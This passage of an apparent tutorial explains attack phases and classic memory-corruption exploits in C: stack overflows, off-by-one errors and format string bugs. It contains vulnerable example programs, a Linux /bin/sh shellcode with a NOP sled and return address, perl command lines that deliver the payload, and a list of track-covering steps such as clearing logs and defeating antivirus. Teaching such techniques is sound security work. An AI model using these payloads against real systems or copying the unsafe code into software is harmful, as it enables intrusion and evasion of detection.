&lt;li&gt;Find proof of concept, tool&lt;/li&gt;
&lt;li&gt;Development of tools/scripts&lt;/li&gt;
&lt;li&gt;Testing of proof of concept&lt;/li&gt;
&lt;li&gt;Verify or disprove vulnerabilities&lt;/li&gt;
&lt;li&gt;Documentation of findings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Gaining access and Privilege Escalation&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Gaining access :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discovery of username/password combinations&lt;/li&gt;
&lt;li&gt;Blank/default passwords&lt;/li&gt;
&lt;li&gt;Exploitation of vendor default settings&lt;/li&gt;
&lt;li&gt;Discovery of public services that allow for certain operations within the system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Privilege Escalation :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Get administrative rights, if not yet done&lt;/li&gt;
&lt;li&gt;Exploitation of a local vulnerability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Further enumeration&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
This consisis in repeating the previous phases iteratively in order to reach further targets. (for instance from a DMZ to penetrate an internal network)
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Obtain encrypted passwords (offline cracking)&lt;/li&gt;
&lt;li&gt;Obtain passwords using sniffing or other techniques&lt;/li&gt;
&lt;li&gt;Traffic sniffing&lt;/li&gt;
&lt;li&gt;Cookies gathering&lt;/li&gt;
&lt;li&gt;Internal network mapping&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Compromise of remote users/servers&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break other (internal) services and if possible and iterate the process.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Maintaining access&lt;/b&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use of covert channels (protocol tunnels, VPNs, etc.)&lt;/li&gt;
&lt;li&gt;Backdoors&lt;/li&gt;
&lt;li&gt;Rootkits&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Covering tracks&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The problem is that the previous steps usually leave lots of traces in the various system logs. One should attempt to get rid of these traces.
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hide files
&lt;li&gt;Clear logs : Check history, Edit log files, Identify remote logging, etc.&lt;/li&gt;
&lt;li&gt;Defeat protection mechanisms : Integrity checking, Anti-virus&lt;/li&gt;
&lt;/ul&gt;



&lt;a name=&quot;SECTION00610000000000000XXY&quot;&gt;&lt;/a&gt;
&lt;h2&gt;2. A focus on Exploitation&lt;/h2&gt;

&lt;p&gt;
This article focuses on exploitation of vulnerabilities related to local programs. We will look at various way to exploit local programs vulnerabilities, especially in the C language. 
&lt;/p&gt;
&lt;p&gt;
Most of the techniques presented here, thanks to latest progresses in both hardware (processors) and software (compilers), are not so easily exploitable in practice.
&lt;br /&gt;
The purpose of the following elements is really to present the basic techniques and the key concepts behind them.
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00610000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
3. Introduction to memory manipulation
&lt;/h2&gt;

&lt;p&gt;
Memory manipulation attacks consist in sending malformed data to the target application in such a way that the logical 
program flow is affected.
&lt;/p&gt;
&lt;p&gt;
&lt;SPAN ID=&quot;hue3905&quot;&gt;Goals :&lt;/SPAN&gt;
&lt;/p&gt;
 
&lt;UL COMPACT&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3908&quot;&gt;Be able to execute arbitrary code&lt;/SPAN&gt;&lt;/LI&gt;
&lt;li&gt;&lt;SPAN ID=&quot;hue3910&quot;&gt;Crash the application (DoS)&lt;/SPAN&gt;&lt;/LI&gt;
&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00611000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
3.1 Runtime Memory Organization
&lt;/h3&gt;

&lt;p&gt;
The Memory layout of a running process on x86 is as follows :
&lt;/p&gt;
 
&lt;UL COMPACT&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3915&quot;&gt;Stack&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3917&quot;&gt;Heap&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3919&quot;&gt;BSS segment&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3921&quot;&gt;Data segment&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3923&quot;&gt;Text segment&lt;/SPAN&gt;&lt;/LI&gt;
&lt;/UL&gt; 


&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;3927&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.1:&lt;/STRONG&gt;
Memory layout&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;276&quot; HEIGHT=&quot;434&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/4f00aa69-8a03-47a6-9abd-d712bf971df6&quot;
 ALT=&quot;Image mem_layout&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;A NAME=&quot;SECTION00611100000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
3.1.1 Text Segment
&lt;/h4&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue3931&quot;&gt;This segment contains all the compiled executable code for the program.&lt;/SPAN&gt; It is (Usually) non-writable :
&lt;/p&gt;
 
&lt;UL&gt;
&lt;LI&gt;Code does not contain any sort of variables&lt;/LI&gt;
&lt;LI&gt;Read-only segments can be shared between different copies of the program executing simultaneously &lt;/LI&gt;

&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00611200000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
3.1.2 Data and BSS Segments
&lt;/h4&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue3936&quot;&gt;Those segments contain all the global variables.&lt;/SPAN&gt;
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Read/write/execute rights (at least on Intel)&lt;/LI&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue3939&quot;&gt;Data segment contains initialized variables&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3941&quot;&gt;BSS segment contains un-initialized variables&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00611300000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
3.1.3 Stack
&lt;/h4&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue3945&quot;&gt;The stack is the region of memory used to dynamically store and manipulate most program functions variables (i.e., local
variables)&lt;/SPAN&gt;
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Can (usually) be written, red and executed.&lt;/LI&gt;

&lt;LI&gt;When a program enters a function, space on the stack is provided for variables and data (this space is called a 
stack frame). &lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
&lt;SPAN ID=&quot;hue3949&quot;&gt;The Stack frame contains :&lt;/SPAN&gt;
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue3952&quot;&gt;Function&apos;s argument(s)&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3954&quot;&gt;Stack variables (saved instruction and frame pointers)&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue3956&quot;&gt;Space for local variables&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00611400000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
3.1.4 Heap
&lt;/h4&gt;    

&lt;p&gt;
&lt;SPAN ID=&quot;hue3960&quot;&gt;Programs use the heap to store data that must exist after a function returns (and its stack frame is erased).&lt;/SPAN&gt; The heap
is often the largest segment of memory.
&lt;/p&gt;
&lt;p&gt;
Allocator and de-allocator algorithms manage the heap :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4343&quot;&gt;In C: &lt;code&gt;malloc()&lt;/code&gt; / &lt;code&gt;free ()&lt;/code&gt;&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4344&quot;&gt;In C++: &lt;code&gt;new&lt;/code&gt; / &lt;code&gt;delete&lt;/code&gt;&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 

&lt;A NAME=&quot;SECTION00612000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
3.2 Processor Registers (IA32)
&lt;/h3&gt;


&lt;DL&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;eip&lt;/code&gt; : instruction pointer&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;points to the next instruction to be executed&lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;ebp&lt;/code&gt; : frame pointer&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;points at the start of the current stack frame&lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;esp&lt;/code&gt; : stack pointer&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;points at the end of the stack &lt;/LI&gt;

&lt;/UL&gt;&lt;/B&gt;


&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;3977&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.2:&lt;/STRONG&gt;
Processor Registers&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;512&quot; HEIGHT=&quot;334&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/8ef857a3-e6b5-471e-8ac3-0ef1068f696d&quot;
 ALT=&quot;Image proc_reg&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;3981&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.3:&lt;/STRONG&gt;
Registers and the stack&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;275&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/e1c533fe-fba2-4839-ad8d-41755759b827&quot;
 ALT=&quot;Image stack_frame&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;A NAME=&quot;SECTION00620000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
4. Stack overflows
&lt;/h2&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4345&quot;&gt;The &lt;i&gt;Stack overflow exploit&lt;/i&gt; is one of the classical &lt;i&gt;security holes&lt;/i&gt;. Currently, OS implements stack smashing 
protections making such stack overflow exploits more difficult to exploit...&lt;/SPAN&gt;
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00621000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
4.1 Introductory example
&lt;/h3&gt;

&lt;p&gt;
Consider the following tiny C program: 
&lt;/p&gt;

&lt;PRE&gt;
int main (int argc, char **argv)
{
    char smallbuf[32];

    strcpy (smallbuf, argv[1]);
    printf (&quot;%s\n&quot;, smalbuf);

    return 0;
}
&lt;/PRE&gt;

&lt;p&gt;
In memory, the frame for method main stands as follows. We specifically see where the &lt;code&gt;smallbuf&lt;/code&gt; array is located,
right below the &lt;SPAN ID=&quot;hue3992&quot;&gt;Saved instruction pointer&lt;/SPAN&gt; and the &lt;SPAN ID=&quot;hue3994&quot;&gt;Saved frame pointer&lt;/SPAN&gt; :
&lt;/p&gt;


&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;3997&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.4:&lt;/STRONG&gt;
Method &quot;main&quot; in memory&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;276&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/3c105199-5f74-4509-bf55-1739e7c611b0&quot;
 ALT=&quot;Image mem_meth_main&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;p&gt;
Let&apos;s try to smash the stack by running the program (the main function) this way :
&lt;/p&gt;

&lt;PRE&gt;
gcc -o print print.c
$ ./print ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Segmentation fault
&lt;/PRE&gt;

&lt;p&gt;
What happened ?!? Let&apos;s look at the memory again :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4003&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.5:&lt;/STRONG&gt;
Method &quot;main&quot; in memory - smashed&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;512&quot; HEIGHT=&quot;310&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/29eead31-28d9-44be-8b9b-ca78ff6d164d&quot;
 ALT=&quot;Image mem_meth_main_smashed&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;


&lt;A NAME=&quot;SECTION00622000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
4.2 Shell code
&lt;/h3&gt;

&lt;p&gt;
Now smashing the stack is fun but what we want is get access to the compromised host. Most often what we eant is a 
shell code :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Machine code executing something useful&lt;/LI&gt;

&lt;LI&gt;Shape is heavily OS- and architecture dependent &lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
For instance, on Linux / IA32, this is a binary runnable code launching a shell &lt;code&gt;/bin/bash&lt;/code&gt; :
&lt;/p&gt;

&lt;PRE&gt;
&quot;\x31\xc0\x50\x68\x6e\x2f\x73\x68&quot;
&quot;\x68\x2f\x2f\x62\x69\x89\xe3\x99&quot;
&quot;\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;
&lt;/PRE&gt;


&lt;A NAME=&quot;SECTION00622100000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
4.2.1 Back to our example program
&lt;/h4&gt;

&lt;p&gt;
We pad the shell code with NOP instructions (NOP sled)
&lt;/p&gt;

&lt;PRE&gt;
&quot;\x90\x90\x90\x90\x90\x90\x90\x90&quot;
&quot;\x31\xc0\x50\x68\x6e\x2f\x73\x68&quot;
&quot;\x68\x2f\x2f\x62\x69\x89\xe3\x99&quot;
&quot;\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;
&quot;\xef\xbe\xad\xde\x18\xf4\xff\xbf&quot;
&lt;/PRE&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4015&quot;&gt;and the last line contains the values we want to put in both pointers, most importantly the
aved instruction pointer.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
And we give it as input to the vulnerable program (playing the exploit)
&lt;/p&gt;

&lt;PRE&gt;
$ ./print &apos;perl -e &apos;print
&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x31 \xc0\x50\
x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52
\x53\x89\xe1\xb0\x0b\
xcd\x80\xef\xbe\xad\xde\x18\xf4\xff\xbf&quot;;&apos;&apos;
1&amp;amp;#192;Phn/shh//bi&amp;amp;#227;RS&amp;amp;#225;&amp;amp;#176;
    &amp;amp;#205;
$
&lt;/PRE&gt;

&lt;p&gt;
The stack layout during execution is as follows :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4020&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.6:&lt;/STRONG&gt;
Method &quot;main&quot; in memory - exploited&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;300&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f8da08f4-d415-4260-9f41-0f34dda71feb&quot;
 ALT=&quot;Image mem_meth_main_exploited&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;A NAME=&quot;SECTION00622200000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
4.2.2 Principle
&lt;/h4&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4025&quot;&gt;put a shell code in a buffer&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4027&quot;&gt;pad the beginning with enough NOP&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4029&quot;&gt;put in the Save Instruction Pointer one of the addresses containing a NOP&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 

&lt;A NAME=&quot;SECTION00630000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
5. Stack off-by-one
&lt;/h2&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4033&quot;&gt;This is a variation on the stack overflow. It implies conditions where a program miscalculates a data copying operation 
and allows one byte to flow past the end of the buffer.&lt;/SPAN&gt; 
&lt;BR&gt;&lt;SPAN ID=&quot;hue4035&quot;&gt;Exploiting this vulnerability, it may be possible to overwrite the least significant byte (LSB) of the saved frame 
pointer, which could later allow complete control over program flow.&lt;/SPAN&gt;
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00631000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
5.1 Illustration example
&lt;/h3&gt;

&lt;p&gt;
We wont develop this example as far as exploiting the flaw, but we&apos;ll use it to illustrate the vulnerability. 
&lt;/p&gt;
&lt;p&gt;
Let&apos;s look at the following program :
&lt;/p&gt;

&lt;PRE&gt;
int main(int argc, char *argv[])
{
    if(strlen(argv[1]) &amp;gt; 32)
    {
        printf(&quot;Input string too long!\n&quot;);
        exit (1);
    }

    vulfunc(argv[1]);

    return 0;
}

int vulfunc(char *arg)
{
    char smallbuf[32];

    strcpy(smallbuf, arg);
    printf(&quot;%s\n&quot;, smallbuf);

    return 0;
}
&lt;/PRE&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4346&quot;&gt;The problem with this code is that there is always an additional &lt;i&gt;NULL&lt;/i&gt; character at the end of a string, but the
&lt;code&gt;strlen&lt;/code&gt; function never takes it into account.&lt;/SPAN&gt;
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00631100000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
5.1.1 Let&apos;s play with it
&lt;/h4&gt;

&lt;PRE&gt;
$ gcc -o print print.c
$ ./print test
test
$ ./print ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Input string too long!
$ ./print ABCDABCDABCDABCDABCDABCDABCDABC
ABCDABCDABCDABCDABCDABCDABCDABC
$ ./print ABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCDABCDABCDABCDABCDABCDABCD
Segmentation fault (core dumped)
&lt;/PRE&gt;

&lt;A NAME=&quot;SECTION00631200000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
5.1.2 What happened ?
&lt;/h4&gt;

&lt;p&gt;
This is the stack as it should be :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4048&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.7:&lt;/STRONG&gt;
Normal situation of the stack&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;314&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/87919689-d18a-447c-8716-e2aeafaf2d48&quot;
 ALT=&quot;Image off_by_one_stack_norm&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;p&gt;
This is the after the exploit. We can see that we have been able to overwrite the LSB of the Save frame Pointer :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4052&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.8:&lt;/STRONG&gt;
Exploited situation of the stack&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;302&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/e57cf1d6-b7d1-4154-863e-d44339c7f757&quot;
 ALT=&quot;Image off_by_one_stack_exp&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;A NAME=&quot;SECTION00632000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
5.2 Exploitation
&lt;/h3&gt;

&lt;p&gt;
The whole game is to find a way to put some shell code somewhere on the stack and to use the buffer off-by-one overflow
to redirect the program flow to this buffer. The details exceed the scope of this document.
&lt;/p&gt;


&lt;A NAME=&quot;SECTION00633000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
5.3 Remarks
&lt;/h3&gt;

&lt;p&gt;
Interestingly, not all architectures are (potentially) vulnerable :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;b&gt;x86, Dec Alpha&lt;/b&gt; : little endian ordering -&gt;  vulnerable

&lt;LI&gt;&lt;b&gt;Spart, SGm IBM RS/600, PowerPC&lt;/b&gt; : big endian ordering -&gt; Off-by-one shoot you to an address far 
away. 

&lt;/UL&gt; 

&lt;p&gt;
In practice :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Padding added by compilers&lt;/LI&gt;

&lt;LI&gt;Canary values&lt;/LI&gt;

&lt;LI&gt;Non-executable stacks&lt;/LI&gt;

&lt;LI&gt;-&gt;  More more work is required... 

&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00640000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
6. Format String bugs
&lt;/h2&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4347&quot;&gt;The &lt;code&gt;printf&lt;/code&gt; function is a special function which can take an infinite number of arguments. The problem is that
if one specifies a format which required a certain number of arguments &lt;b&gt;but omits them&lt;/b&gt;, &lt;code&gt;printf&lt;/code&gt; will
nevertheless take the values located on the stack at the place it expected its arguments.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;SPAN ID=&quot;hue4348&quot;&gt;In addition, &lt;code&gt;printf&lt;/code&gt; supports the &lt;code&gt;%x&lt;/code&gt; flag which display what is stored at the address given as 
argument to &lt;code&gt;printf&lt;/code&gt; (which might be omitted).&lt;/SPAN&gt;
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00641000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
6.1 Introductory example
&lt;/h3&gt;

&lt;PRE&gt;
int main(int argc, char *argv[])
{
    if(argc &amp;lt; 2)
    {
        printf(&quot;You need to supply an argument\n&quot;);
        return 1;
    }
    printf(argv[1]);
    return 0;
}
&lt;/PRE&gt;


&lt;A NAME=&quot;SECTION00641100000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
6.1.1 Let&apos;s play with it
&lt;/h4&gt;

&lt;PRE&gt;
$ ./printf &quot;Hello, world!&quot;
Hello, world!
$ ./printf %x
b0186c0
$ ./printf %x.%x.%x.%x
b0186c0.cfbfd638.17f3.0
&lt;/PRE&gt;

&lt;p&gt;
This program is kind of a &lt;i&gt;Stack dumper&lt;/i&gt; : one can dump the content of the stack starting 
from a certain address. (an the stack contains lots of interesting stuff : environment variables, arguments given to the 
program, function arguments, etc.)
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00641200000000000000&quot;&gt;&lt;/A&gt;
&lt;h4&gt;
6.1.2 Principle
&lt;/h4&gt;


&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4349&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.9:&lt;/STRONG&gt;
&lt;code&gt;printf&lt;/code&gt; vulnerability principle&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;394&quot; HEIGHT=&quot;271&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/103cc726-59c3-4e30-acfd-161b3cc2caee&quot;
 ALT=&quot;Image printf_principle&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;p&gt;
With the above example, one can dump pretty much any value located in this area :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4350&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.10:&lt;/STRONG&gt;
&lt;code&gt;printf&lt;/code&gt; vulnerability principle&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;394&quot; HEIGHT=&quot;277&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f53d920f-d6ea-4763-b044-9cbee05e0632&quot;
 ALT=&quot;Image printf_principle_area&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;


&lt;A NAME=&quot;SECTION00642000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
6.2 Read environment variables
&lt;/h3&gt;

&lt;p&gt;
I know that the program environment variables are stored around address &lt;code&gt;0xBFFFFF600&lt;/code&gt; :
&lt;/p&gt;

&lt;PRE&gt;
$ ./printf &apos;perl -e &apos;print &quot;%53\$s&quot; . &quot;AA&quot; . &quot;\x80\xf6\xff\xbf&quot;&apos;;&apos;
TERM=xtermAA...&amp;amp;#191;&amp;amp;#207;
&lt;/PRE&gt;


&lt;A NAME=&quot;SECTION00643000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
6.3 Overwriting any word in memory
&lt;/h3&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4362&quot;&gt;Man page of &lt;code&gt;printf&lt;/code&gt; tells us about the %n specifier: &lt;code&gt;%n&lt;/code&gt; The number of characters written so far is stored into 
the integer indicated by the int * (or variant) pointer argument. No argument is converted.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
